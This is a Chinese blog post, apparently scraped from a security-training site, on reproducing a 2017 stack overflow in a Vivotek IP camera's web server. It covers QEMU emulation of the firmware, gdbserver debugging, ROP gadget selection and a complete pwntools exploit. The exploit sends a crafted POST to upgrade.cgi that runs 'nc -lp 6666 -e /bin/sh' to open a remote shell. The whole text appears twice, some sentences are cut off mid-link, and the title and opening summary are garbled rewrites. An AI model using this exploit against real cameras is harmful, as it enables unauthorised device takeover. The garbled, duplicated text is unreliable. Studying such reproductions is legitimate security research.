Vivotek栈溢出漏洞如何通过长尾词进行复现?
- 内容介绍
- 文章标签
- 相关推荐
本文共计1276个文字,预计阅读时间需要6分钟。
近期公司采购了一批摄像头,此前尚未有相关研究机构进行此类研究。我们找到了一台2017年的Vivotek摄像头,其支架存在漏洞,用来练习手艺。仍感觉,实现IoT最难的步骤要么是复现IoT最复杂的步骤,要么是环境搭建。在gdbserver那里卡住了很久。
近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错... 一、前言 近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。
二、固件仿真 虚拟机环境:Ubuntu 20.04
gdb版本:GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
固件下载地址:github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip
从上面的地址下载还有漏洞的固件,使用binwalk分离出来文件系统,发现问题文件xz.aliyun.com/t/5054#toc-2)师傅的这篇文章整理得到。
从arm-debian的qemu镜像地址下载如下三个文件
people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2
在本地新建一张网卡用于和qemu虚拟机通信
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
启动qemu虚拟机镜像
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
启动成功后会让你输入用户名密码,默认用户名/密码:root/root,然后在qemu虚拟机中配置网卡信息,这样qemu虚拟机就可以和本地进行通信了
ifconfig eth0 192.168.2.2/24
接下来使用ftp把固件的文件系统get到qemu虚拟机中,此时我们就可以挂载/dev和/proc了。
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc/ ./squashfs-root/proc/
最后切换到固件的文件系统中,并运行漏洞文件
chroot squashfs-root sh
./usr/sbin/bbs.pediy.com/thread-220907.htm)中找到了答案,按照上面的步骤我编译了一份与我本地gdb版本相同的gdbserver-static,文件上传到github上了有需要的师傅可以自行下载。
github地址:github.com/AmaIIl/gdbserver-static-9.2-arm
有了对应版本的gdbserver就可以开始远程调试了,具体命令如下所示
./gdbserver-static 127.0.0.1:1234 --attach <server pid>
然后写一个gdbinit把重复的命令写进去方便调试
# gdb-multiarch -x gdbinit
file ./usr/sbin/httpd
set architecture arm
target remote 192.168.2.2:1234
我们将断点下在函数退栈的位置,然后计算其与输入地址的差值就可以得到溢出偏移。为了降低利用难度这里关闭qemu虚拟机的aslr保护,可以节省几步内存泄露的步骤。
sudo sysctl -w kernel.randomize_va_space=0
通过动调我们可以得到需要的所有条件:溢出偏移、栈地址、libc地址。但是要构造ROP还需要一些gadget,使用ropper搜索我们需要的gadget,最终我们需要构造的就是system("XXX")的效果,所以需要能控制pc和r0寄存器的gadget,同时因为程序漏洞使用strncpy函数所以gadget中不能含有零字符,所以最终选择了这两段gadget
0x00048784: pop {r1, pc};
0x00016aa4: mov r0, r1; pop {r4, r5, pc};
exp如下所示
from pwn import *
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
p = remote('192.168.2.2', 80)
libc = ELF('./squashfs-root/lib/libc.so.0')
stack = 0xbeffeb64
base = 0xb6f2d000
system = base+libc.sym['system']
pop_r1_pc = 0x00048784+base
mov_r0_r1 = 0x00016aa4+base # mov r0, r1; pop {r4, r5, pc};
head = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = 'b'*(0x00003c-8)+p32(pop_r1_pc)+p32(stack)+p32(mov_r0_r1)+'b'*8+p32(system)
end = 'nc -lp 6666 -e /bin/sh;'+'\r\n\r\n'
sl(head+payload+end)
shell()
脚本执行成功后会开启6666端口,这时只要用nc远程连接即可getshell
五、总结 还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错,不过好在最后都一一解决了。2017年的这个栈溢出漏洞整体利用难度不算高,感兴趣的师傅们可以动手试着复现一下。
更多靶场实验练习、网安学习资料,请点击这里>>
搜索
复制
合天智汇:合天网络靶场、网安实战虚拟环境本文共计1276个文字,预计阅读时间需要6分钟。
近期公司采购了一批摄像头,此前尚未有相关研究机构进行此类研究。我们找到了一台2017年的Vivotek摄像头,其支架存在漏洞,用来练习手艺。仍感觉,实现IoT最难的步骤要么是复现IoT最复杂的步骤,要么是环境搭建。在gdbserver那里卡住了很久。
近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错... 一、前言 近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。
二、固件仿真 虚拟机环境:Ubuntu 20.04
gdb版本:GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
固件下载地址:github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip
从上面的地址下载还有漏洞的固件,使用binwalk分离出来文件系统,发现问题文件xz.aliyun.com/t/5054#toc-2)师傅的这篇文章整理得到。
从arm-debian的qemu镜像地址下载如下三个文件
people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2
在本地新建一张网卡用于和qemu虚拟机通信
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
启动qemu虚拟机镜像
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
启动成功后会让你输入用户名密码,默认用户名/密码:root/root,然后在qemu虚拟机中配置网卡信息,这样qemu虚拟机就可以和本地进行通信了
ifconfig eth0 192.168.2.2/24
接下来使用ftp把固件的文件系统get到qemu虚拟机中,此时我们就可以挂载/dev和/proc了。
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc/ ./squashfs-root/proc/
最后切换到固件的文件系统中,并运行漏洞文件
chroot squashfs-root sh
./usr/sbin/bbs.pediy.com/thread-220907.htm)中找到了答案,按照上面的步骤我编译了一份与我本地gdb版本相同的gdbserver-static,文件上传到github上了有需要的师傅可以自行下载。
github地址:github.com/AmaIIl/gdbserver-static-9.2-arm
有了对应版本的gdbserver就可以开始远程调试了,具体命令如下所示
./gdbserver-static 127.0.0.1:1234 --attach <server pid>
然后写一个gdbinit把重复的命令写进去方便调试
# gdb-multiarch -x gdbinit
file ./usr/sbin/httpd
set architecture arm
target remote 192.168.2.2:1234
我们将断点下在函数退栈的位置,然后计算其与输入地址的差值就可以得到溢出偏移。为了降低利用难度这里关闭qemu虚拟机的aslr保护,可以节省几步内存泄露的步骤。
sudo sysctl -w kernel.randomize_va_space=0
通过动调我们可以得到需要的所有条件:溢出偏移、栈地址、libc地址。但是要构造ROP还需要一些gadget,使用ropper搜索我们需要的gadget,最终我们需要构造的就是system("XXX")的效果,所以需要能控制pc和r0寄存器的gadget,同时因为程序漏洞使用strncpy函数所以gadget中不能含有零字符,所以最终选择了这两段gadget
0x00048784: pop {r1, pc};
0x00016aa4: mov r0, r1; pop {r4, r5, pc};
exp如下所示
from pwn import *
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
p = remote('192.168.2.2', 80)
libc = ELF('./squashfs-root/lib/libc.so.0')
stack = 0xbeffeb64
base = 0xb6f2d000
system = base+libc.sym['system']
pop_r1_pc = 0x00048784+base
mov_r0_r1 = 0x00016aa4+base # mov r0, r1; pop {r4, r5, pc};
head = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = 'b'*(0x00003c-8)+p32(pop_r1_pc)+p32(stack)+p32(mov_r0_r1)+'b'*8+p32(system)
end = 'nc -lp 6666 -e /bin/sh;'+'\r\n\r\n'
sl(head+payload+end)
shell()
脚本执行成功后会开启6666端口,这时只要用nc远程连接即可getshell
五、总结 还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错,不过好在最后都一一解决了。2017年的这个栈溢出漏洞整体利用难度不算高,感兴趣的师傅们可以动手试着复现一下。
更多靶场实验练习、网安学习资料,请点击这里>>
搜索
复制
合天智汇:合天网络靶场、网安实战虚拟环境
